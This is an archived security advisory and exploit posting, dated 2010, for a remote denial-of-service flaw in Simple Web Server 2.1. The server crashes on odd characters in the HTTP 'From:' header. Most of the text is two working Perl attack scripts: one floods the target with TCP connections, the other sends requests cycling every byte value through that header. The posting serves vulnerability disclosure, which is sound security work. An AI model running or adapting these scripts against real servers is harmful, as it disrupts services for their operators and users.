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Simple Web Server 2.1 Denial Of Service

Simple Web Server 2.1 Denial Of Service
Posted Aug 3, 2010
Authored by ipax | Site dclabs.com.br

Simple Web Server version 2.1 suffers from a remote denial of service vulnerability.

tags | exploit, remote, web, denial of service
SHA-256 | 8e2bad1ba2d0a3b09947469053b39636ae1cc03c1915d5fa75e20bad1e854862

Simple Web Server 2.1 Denial Of Service

Change Mirror Download
[DCA-0003]

[Software]

- Simple Web Server

[Vendor Product Description]

- The easy and small way to open an HTTP Web Server. OS
Versions:Windows9x/Me/NT/2000/XP

[Bug Description]

- SwS can't handle the header 'From:' when using random ASCII
characters leading to Denial-of-Service.

[History]

- Advisory sent to vendor on 06/14/2010.
- No response from vendor
- Public advisory & exploit 08/02/2010.

[Impact]

- Low

[Affected Version]

- Simple Web Server SwS v2.1
- Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;


$ip = $ARGV[0];
$port = $ARGV[1];
$conn = $ARGV[2];

$num = 0;


while ( $num <= $conn ) {
system("echo -n .");
$s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

close($s);
$num++;
}


#!/usr/bin/perl
use Net::HTTP;

if (@ARGV < 1) {
usage();
}


$host = @ARGV[0];
$port = @ARGV[1];
$num = 0;

print "[+] Sending request...\n";


while ($num <= 255) {
my $s = Net::HTTP->new(Host => $host, HTTPVersion => "1.0") || die $@;
$s->write_request(GET => "/", 'User-Agent' => "Mozilla/5.0",
'From' => chr($num));

$num++;
close($s);
}

print "\n[+] Done!\n";

sub usage() {
print "[-] Usage: <". $0 ."> <host> <port>\n";
print "[-] Example: ". $0 ." 127.0.0.1 80\n";
exit;
}



[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


[Greetz]
Crash and all Dclabs members.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br
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